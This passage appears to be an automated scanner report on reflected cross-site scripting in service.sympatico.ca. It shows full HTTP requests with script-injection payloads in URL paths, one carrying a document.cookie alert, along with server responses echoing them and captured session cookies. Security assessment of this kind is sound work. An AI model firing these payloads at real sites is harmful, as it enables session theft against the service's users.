CSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:05:58 GMT
Connection: close
Set-Cookie: SMSESSION=qu0l4wtCEB9huOLLOz/MAAMJUnuh8EejK+qEvG1uQ1XrbRi/d9e94q3Jn0ptmYOJPIVPymO41j/E9JzP7kiYv6wEI7xQBZiievT896BKvbQwHlc79j9av0SNP3ot9VXq3RxH6T5n9sgTUXVIDbuJLwEW6vgPrDUf3U3ihmRg3Vtrf5Od7/dax356mQ2uNf0GcTtiTA+1eP7AnPW/NTI2SLyMJzOD4hYE4WCLZLfE0A0iClDTHjeUEDIH24ewZPqNK2j+FEBjR8Jn0xKQDq7EQtQbD50/J/JUmCZBeuvPF5SSeHH7bKrTvA==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:05:59 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:05:59 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:05:59 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:05:59 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:05:59 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:05:59 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:05:59 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:05:59 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:05:59 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:05:59 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
den" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/jquery.flash.jsd7c9b"><script>alert(1)</script>aed88dddd58" />
...[SNIP]...

2.283. https://service.sympatico.ca/js/jquery.fxqueues.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/jquery.fxqueues.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3c721"><script>alert(1)</script>5b9a60e72b4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js3c721"><script>alert(1)</script>5b9a60e72b4/jquery.fxqueues.js HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:04:19 GMT
Connection: close
Set-Cookie: SMSESSION=wZFR2tvXa8ry1lsgikGVTZyxVWD1Tq2S3TuArJDUe+rIEXnmMHc7CJTzXz9+GMnGER77jv8qCUuDfgkvB6LTWoIvfyYdnauQVQ7RD3ZmimI8do0b5uicKx35yiz2unK9E+6MV+3UDRo/7gMlc3Mria/F2/9/KBuXPFgHnice9Eg8k3sa8Y/Oz5/PWkvVrffvJeLbBAlffufjQi7Ifs1mUFoanE8D1ayZEkVIERWRjel5iEl9gLf98vmRGuKvlHIFf3hyRAUnhMisPu2PubFeYILh5vRMI6cz4AC1gbk6KF3r77+zpRf80A==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:04:20 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:04:20 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:04:20 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:04:20 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:04:20 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:04:20 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:04:20 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:04:20 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:04:20 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:04:20 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js3c721"><script>alert(1)</script>5b9a60e72b4/jquery.fxqueues.js" />
...[SNIP]...

2.284. https://service.sympatico.ca/js/jquery.fxqueues.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/jquery.fxqueues.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d4c49"><script>alert(1)</script>70a3530b3c0 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/jquery.fxqueues.jsd4c49"><script>alert(1)</script>70a3530b3c0 HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:04:22 GMT
Connection: close
Set-Cookie: SMSESSION=OUBasAtbCw322FRYSZPAjmU33tfAxP5mf4+6p5K/UffvWHRbMFPeib06+TlWTQYxffh+BeF8GeUzNqRvbHFJPMNLLWDyLbaFbcfOC8idzy4LWSIgDVGT7fZ/r4Ka/tP1wLENYzvwAtGbyPisRqalUp4TWet9QL3qUoL0Oz2s5KbERWAQbr/SjzPBajSllVb0s3boew4z6rJefnsRxlUr2ZH3znffayRmL+uqCzpFZhiLHn2Rt8FhCyTQnTQbO+i3tyqzT1wvRnqVENOXZ1l32MP2aMxaJ3IlUJ2G5YQ7zUwcpgjDJS2vCQ==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:04:22 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:04:22 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:04:22 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:04:22 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:04:22 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:04:22 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:04:22 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:04:22 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:04:22 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:04:22 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/jquery.fxqueues.jsd4c49"><script>alert(1)</script>70a3530b3c0" />
...[SNIP]...

2.285. https://service.sympatico.ca/js/jquery.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/jquery.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4df03"><script>alert(1)</script>efb8aa75f0d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js4df03"><script>alert(1)</script>efb8aa75f0d/jquery.js HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2F